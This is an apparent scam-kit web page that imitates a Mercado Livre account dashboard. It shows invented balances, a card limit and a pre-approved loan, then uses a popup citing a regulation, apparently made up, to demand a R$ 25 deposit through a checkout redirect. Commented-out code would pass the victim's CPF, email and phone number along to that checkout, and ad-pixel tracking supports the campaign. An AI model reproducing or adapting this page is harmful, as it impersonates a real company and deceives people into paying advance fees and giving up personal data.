<html lang="pt-BR">
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=utf-8" /><!-- /Added by HTTrack -->
<head>
    <script src="js/latest.js" data-utmify-prevent-subids="" async="" defer=""></script>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Dashboard Mercado Livre</title>
<?php
include('../nlo-config.php');
echo $pixel_scripts;

if($track_fb_pixel == 1){ ?>
<!-- Meta Pixel Code -->
<script>
  !function(f,b,e,v,n,t,s)
  {if(f.fbq)return;n=f.fbq=function(){n.callMethod?
  n.callMethod.apply(n,arguments):n.queue.push(arguments)};
  if(!f._fbq)f._fbq=n;n.push=n;n.loaded=!0;n.version='2.0';
  n.queue=[];t=b.createElement(e);t.async=!0;
  t.src='https://connect.facebook.net/en_US/fbevents.js';
  s=b.getElementsByTagName(e)[0];
  s.parentNode.insertBefore(t,s)}(window, document,'script');

  fbq('init', '<?php echo $fb_pixel; ?>'); // Substitua com o ID do seu pixel
  fbq('track', 'PageView');
</script>
<noscript>
  <img height="1" width="1" style="display:none"
       src="https://www.facebook.com/tr?id=<?php echo $fb_pixel; ?>&ev=PageView&noscript=1"/>
</noscript>
<!-- End Meta Pixel Code -->
<?php }; ?>
    <style>
      * {
        margin: 0;
        padding: 0;
        box-sizing: border-box;
        font-family: Arial, sans-serif;
      }

      body {
        background: linear-gradient(135deg, #FFE600 0%, #FFF2CC 100%);
        color: #333;
        display: flex;
        flex-direction: column;
        align-items: center;
        justify-content: center;
        padding: 20px;
        min-height: 100vh;
      }

      .dashboard-container {
        max-width: 400px;
        width: 100%;
        background-color: white;
        border-radius: 10px;
        box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);
        padding: 20px;
        margin-bottom: 20px;
      }

      .header {
        text-align: center;
        margin-bottom: 20px;
      }

      .header h1 {
        color: #3483FA;
      }

      .balance {
        text-align: center;
        background: linear-gradient(135deg, #3483FA 0%, #2968C8 100%);
        color: white;
        border-radius: 10px;
        padding: 20px;
        margin-bottom: 20px;
      }

      .balance h2 {
        margin-bottom: 10px;
      }

      .transactions {
        margin-bottom: 20px;
      }

      .transactions h3 {
        margin-bottom: 10px;
      }

      .transaction {
        display: flex;
        justify-content: space-between;
        padding: 10px 0;
        border-bottom: 1px solid #ddd;
      }

      .transaction:last-child {
        border-bottom: none;
      }

      .menu {
        display: flex;
        justify-content: space-around;
        margin-bottom: 20px;
      }

      .menu button {
        background-color: #FFE600;
        color: #333;
        border: none;
        border-radius: 20px;
        padding: 10px 20px;
        cursor: pointer;
        font-weight: 500;
      }

      .menu button:hover {
        background-color: #FFD700;
        transform: scale(1.02);
      }

      /* Cartão Virtual */
      .card-section {
        background-color: #e5e5e5;
        padding: 20px;
        border-radius: 10px;
        margin-bottom: 20px;
      }

      .card-section h3 {
        color: #3483FA;
        margin-bottom: 10px;
      }

      .card {
        background: linear-gradient(135deg, #3483FA 0%, #2968C8 100%);
        color: white;
        border-radius: 10px;
        padding: 20px;
        text-align: center;
      }

      .card p {
        margin: 10px 0;
      }

      /* Empréstimo */
      .loan-section {
        background-color: #e5e5e5;
        padding: 20px;
        border-radius: 10px;
        margin-bottom: 20px;
      }

      .loan-section h3 {
        color: #3483FA;
        margin-bottom: 10px;
      }

      .loan {
        background-color: white;
        border: 1px solid #ddd;
        border-radius: 10px;
        padding: 20px;
        text-align: center;
      }

      .loan p {
        margin: 10px 0;
        color: #333;
      }

      /* Pop-up Overlay */
      .popup-overlay {
        display: none;
        position: fixed;
        top: 0;
        left: 0;
        width: 100%;
        height: 100%;
        background-color: rgba(0, 0, 0, 0.5);
        z-index: 1000;
        justify-content: center;
        align-items: center;
      }

      /* Pop-up Content */
      .popup-content {
        position: relative;
        background-color: white;
        padding: 20px;
        border-radius: 10px;
        width: 80%;
        max-width: 500px;
        text-align: center;
      }

      /* Botão X no canto superior direito */
      .close-icon {
        position: absolute;
        top: 10px;
        right: 10px;
        background: none;
        border: none;
        font-size: 20px;
        cursor: pointer;
        font-weight: bold;
      }

      .close-popup {
        background-color: #FFE600;
        color: #333;
        border: none;
        padding: 10px 20px;
        border-radius: 20px;
        cursor: pointer;
        margin-top: 10px;
        font-size: 15px;
        font-weight: 500;
      }

      .big-text {
        font-size: 14px;
      }

      /* Responsividade */
      @media (min-width: 600px) {
        .dashboard-container {
          max-width: 600px;
        }
      }
    </style>


    <script async="" src="js/fbevents-2.js"></script>
    <script src="js/latest-2.js" data-utmify-prevent-subids="" async="" defer=""></script>
  </head>
  <body>
    <div class="header">
      <img style="width: 160px" src="images/BlueBird.png" alt="BlueBird">
    </div>
    <div class="dashboard-container">
      <div class="header">
        <h1>
          Bem-vindo
          <div class="name-info" style="text-align: center; font-weight: bold; font-size: 16px" id="nomeCartao"></div>
        </h1>
      </div>

      <div class="balance">
        <h2>Saldo disponível</h2>
        <p style="font-size: 18px; color: #2dff2d; font-weight: 700">
          R$ 44,90 (Bônus R$3,02)
        </p>
      </div>

      <div class="transactions">
        <h3>Transações recentes</h3>

        <div class="transaction">
          <span>Pagamento de IOF</span>
          <span>+R$ 21,88</span>
        </div>
        <div class="transaction">
          <span>Ativação da conta </span>
          <span>+R$ 20,00</span>
        </div>
      </div>

      <div class="menu">
        <button class="big-text" id="77ee69c7-5bfc-bfe7-dcd1-6e662b9c1f61">
          Transferir
        </button>
        <button class="big-text" id="98ac2a90-f247-e72a-b936-24a2bf037fd9">
          Pagar
        </button>
        <button class="big-text" id="d35f29f0-dda6-1963-6f77-0b7f3c5c3264">
          Extrato
        </button>
      </div>
      <style>
        .btn-custom {
          color: #333;
          border: none;
          width: 100%;
          margin-bottom: 10px;
          background: #FFE600;
          font-weight: 500;
          border-radius: 1rem;
          padding: 0.75rem 3rem;
          letter-spacing: 0.3px;
          line-height: 1.15;
        }
        .btn-custom:hover {
          color: #333 !important;
          background-color: #FFD700 !important;
          transform: scale(1.02) !important;
        }

        .footer {
          background: linear-gradient(135deg, #FFE600 0%, #FFD700 100%);
          border-top: solid 1px #FFD700;
          color: #333;
          text-align: center;
          width: 100%;
          bottom: 0;
          grid-area: footer;
          border-bottom: solid 3px #3483FA;
          padding: 2rem 0.5rem;
          position: relative;
          margin-top: 50px;
          font-weight: 500;
        }

        #conclusao {
          display: none; /* Esconde o elemento por padrão */
        }

        #conclusao h4 {
          color: green; /* Define a cor do texto */
          font-weight: bold; /* Define o texto em negrito */
        }

        .char {
          border-top: solid 2px #FFE600;
          background-color: #FFE600;
          padding: 2px !important;
        } /* End custom CSS */

        /* .footer {
            background-color: #e6007e;
            color: white;
            padding: 10px 20px;
            text-align: center;
            border-top: 1px solid #ddd;
            width: 100%;
            position: relative;
        } */
        /* .footer {
            background-color: #ffffff;
            border-top: solid 1px #e6dddd;
            color: #000;
            text-align: center;
            padding: 10px 0;
            position: fixed;
            width: 100%;
            position: relative;
        } */
        .card-wrapper {
          max-width: 400px;
          margin: 0 auto;
          text-align: center;
          background-color: #fff;
          padding: 20px;
          border-radius: 8px;
          box-shadow: 0px 0px 10px rgba(0, 0, 0, 0.1);
          font-family: Arial, sans-serif;
        }

        .card-credit {
          background: linear-gradient(135deg, #FFE600, #FFD700);
          border-radius: 15px;
          padding: 20px;
          color: #333;
          box-shadow: 0px 8px 16px rgba(255, 230, 0, 0.3);
          position: relative;
          height: 200px;
          max-width: 350px;
          margin: 0 auto;
        }

        .card-details {
          position: relative;
          width: 100%;
          height: 100%;
          color: black;
        }

        .bank-name {
          font-size: 18px;
          font-weight: bold;
          text-align: left;
          margin-bottom: 10px;
        }

        .chip {
          position: absolute;
          top: 23px;
          left: 0px;
          width: 40px;
          display: flex;
          align-items: center;
        }

        .chip img {
          /* width: 100%;  */
          height: auto;
          width: 30px; /* Ajuste o tamanho do chip */
          margin-right: 5px; /* Espaço entre o chip e o NFC */
        }

        .nfc {
          position: absolute;
          top: 20px;
          right: 20px;
          width: 30px;
        }

        .nfc-img {
          width: 20px;
        }

        .card-number {
          font-size: 16px;
          letter-spacing: 2px;
          margin-top: 49px;
          text-align: left;
        }

        .valid-thru {
          font-size: 12px;
          text-align: left;
          margin-top: 10px;
        }

        .name-info {
          font-size: 14px;
          color: #fff;
          text-align: left;
          margin-top: 5px;
          color: black;
        }

        .platinum {
          position: absolute;
          top: 2px;
          right: 20px;
        }

        .mastercard {
          position: absolute;
          bottom: 20px;
          right: 20px;
          width: 50px;
        }

        .mastercard img {
          width: 100%; /* Garantir que a imagem da Mastercard ocupe todo o contêiner sem distorcer */
          height: auto;
        }

        .btn-primary {
          background-color: #e6007e;
          color: white;
          border: none;
          padding: 10px 20px;
          border-radius: 5px;
          font-size: 16px;
          cursor: pointer;
          margin-top: 20px;
        }

        .btn-primary:hover {
          background-color: #c20068;
        }
      </style>
      <!-- Seção de Cartão Virtual -->
      <div class="card-section">
        <h3>Cartão Virtual</h3>
        <div class="card">
          <p>Cartão Virtual</p>
          <p>
            Limite disponível:
            <strong style="color: #2dff2d">R$ 4.800,00</strong>
          </p>
          <p>**** **** **** 3428</p>
        </div>
      </div>

      <!-- Seção de Empréstimo -->
      <div class="loan-section">
        <h3>Empréstimo Pré-Aprovado</h3>
        <div class="loan">
          <p>
            Você tem até <strong style="color: #3483FA">R$ 7.000,00</strong> de
            empréstimo pré-aprovado.
          </p>
          <button class="big-text" style="
              background-color: #FFE600;
              color: #333;
              border: none;
              border-radius: 20px;
              padding: 10px 20px;
              font-weight: 500;
            " id="2000665f-3b7d-98d5-fd01-56413ba1a81b">
            Solicitar
          </button>
        </div>
      </div>

      <div class="loan-section">
        <h3>Faturas</h3>
        <div class="loan">
          <p>Sem dados para exibir.</p>
        </div>
      </div>
      <div class="loan-section">
        <h3>Seguros</h3>
        <div class="loan">
          <p>Seguro Prestamista Contratado✅</p>
        </div>
      </div>
    </div>

    <script>
      document.getElementById("nomeCartao").innerHTML =
        localStorage.getItem("posicard_nome");
      document.addEventListener("DOMContentLoaded", function () {
        const dadosUsuario = JSON.parse(
          localStorage.getItem("dadosUsuarioUni")
        );
        if (dadosUsuario && dadosUsuario.nome) {
          const nomeCompleto = dadosUsuario.nome.split(" ");
          const primeiroNome = nomeCompleto[0];
          const ultimoNome = nomeCompleto[nomeCompleto.length - 1];
          const nomeParaMostrar = `${primeiroNome} ${ultimoNome}`;
          document.getElementById("nomeCartao").textContent = nomeParaMostrar;
        } else {
          console.error("Nome do usuário não encontrado no localStorage.");
        }
      });
    </script>

    <!-- Pop-up Overlay -->
    <div class="popup-overlay" id="popup">
      <div class="popup-content">
        <button class="close-icon" id="closePopupBtn">×</button>
        <h2 style="margin-bottom: 10px">Leia com Atenção</h2>
        <p style="margin-bottom: 10px">
          De acordo com a Normativa BCB n° 349 (2024) do Banco Central, o
          oferecimento de crédito elevado (4 mil ou mais) por Financeiras de
          crédito que atuam no Brasil deve ser justificado com
          <strong>saldo mínimo de 100 reais</strong> por parte do solicitante,
          para prevenção de possíveis fraudes.
        </p>
        <p style="margin-bottom: 10px">
          Isso significa que para utilizar seu
          <strong>Cartão Virtual, Movimentar sua Conta ou Solicitar
            Empréstimos</strong>, você deve obrigatoriamente ter 100 reais ou mais de saldo em conta.
        </p>
        <p style="margin-bottom: 15px">
          Mas não se preocupe, você já possui
          <strong>R$ 44,90 de saldo conosco</strong>, basta "completar" com um
          depósito de <strong>R$ 25,00</strong>, que você já poderá utilizar
          100% dos serviços oferecidos pelo Mercado Livre.
        </p>

        <a href="#" class="close-popup" id="06c86b47-4d50-8a6f-18a7-0aa39dc670ec" onclick="redirecionar()">
          <button class="close-popup" type="button" id="ff0953f0-fcd6-69cb-1cd6-e54826499e1f">
            Clique aqui para Depositar
          </button>
        </a>
      </div>
    </div>

    <script>
      // Funções para manipulação de parâmetros UTM
      function getUrlParams() {
        try {
          return new URLSearchParams(window.location.search);
        } catch (error) {
          console.error('Erro ao obter parâmetros da URL:', error);
          return new URLSearchParams();
        }
      }

      function getUTMParams() {
        try {
          const params = getUrlParams();
          const utmParams = {};
          
          ['utm_source', 'utm_medium', 'utm_campaign', 'utm_content', 'utm_term'].forEach(param => {
            const value = params.get(param);
            if (value) {
              utmParams[param] = value;
            }
          });
          
          return utmParams;
        } catch (error) {
          console.error('Erro ao obter parâmetros UTM:', error);
          return {};
        }
      }

      function buildUrlWithParams(baseUrl, additionalParams = {}) {
        try {
          const url = new URL(baseUrl.html);
          const utmParams = getUTMParams();
          const currentParams = getUrlParams();
          
          // Adiciona parâmetros UTM
          Object.entries(utmParams).forEach(([key, value]) => {
            url.searchParams.set(key, value);
          });
          
          // Adiciona parâmetros adicionais
          Object.entries(additionalParams).forEach(([key, value]) => {
            url.searchParams.set(key, value);
          });
          
          // Adiciona outros parâmetros da URL atual
          currentParams.forEach((value, key) => {
            if (!key.startsWith('utm_') && !additionalParams.hasOwnProperty(key)) {
              url.searchParams.set(key, value);
            }
          });
          
          return url.toString();
        } catch (error) {
          console.error('Erro ao construir URL com parâmetros:', error);
          return baseUrl + window.location.search;
        }
      }

	// Função para capturar os parâmetros GET da URL atual
	function getUrlParams() {
		const params = new URLSearchParams(window.location.search);
		let paramsObject = {};
		params.forEach((value, key) => {
			paramsObject[key] = value;
		});
		return paramsObject;
	}

	//reescrever redirects pra incluir parametros
	function redirectWithParams(baseUrl) {
		const params = getUrlParams();
		const url = new URL(baseUrl, window.location);

		Object.keys(params).forEach(key => {
			url.searchParams.set(key, params[key]);
		});

		window.location.href = url.toString();
	}

      function redirecionar() {
          redirectWithParams("../checkout?up=5");
        /*
        try {
          const baseUrl = "../checkout?up=5";
          
          if (!localStorage.getItem("dadosCPF")) {
            const urlWithParams = buildUrlWithParams(baseUrl, { from: "active" });
            window.location.href = urlWithParams;
          } else {
            const whatsapp = localStorage.getItem("whatsapp");
            const dadosUsuario = JSON.parse(localStorage.getItem("dadosUsuarioUni") || '{}');
            
            const additionalParams = {
              from: "active",
              name: dadosUsuario.nome || '',
              telephone: whatsapp || '',
              document: dadosUsuario.cpf || '',
              email: dadosUsuario.email || ''
            };
            
            const urlWithParams = buildUrlWithParams(baseUrl, additionalParams);
            window.location.href = urlWithParams;
          }
        } catch (error) {
          console.error('Erro no redirecionamento:', error);
          window.location.href = "../checkout?up=5" + window.location.search;
        } */
      }

      // Exibir o pop-up ao clicar no corpo do site
      document.body.addEventListener("click", function (event) {
        if (
          !event.target.closest(".popup-content") &&
          !event.target.closest(".close-icon")
        ) {
          document.getElementById("popup").style.display = "flex";
        }
      });

      // Fechar o pop-up ao clicar no botão X
      document
        .getElementById("closePopupBtn")
        .addEventListener("click", function (event) {
          document.getElementById("popup").style.display = "none";
          event.stopPropagation();
        });
    </script>

    <script>
      // Puxar nome do Cliente

      document.addEventListener("DOMContentLoaded", function () {
        const dadosUsuario = JSON.parse(
          localStorage.getItem("dadosUsuarioUni")
        );
        if (dadosUsuario && dadosUsuario.nome) {
          const nomeCompleto = dadosUsuario.nome.split(" ");
          const primeiroNome = nomeCompleto[0];
          const nomeParaMostrar = `${primeiroNome}`;
          document.getElementById("nomeCliente").textContent = nomeParaMostrar;
        } else {
          console.error("Nome do usuário não encontrado no localStorage.");
        }
      });
    </script>

</body>
</html>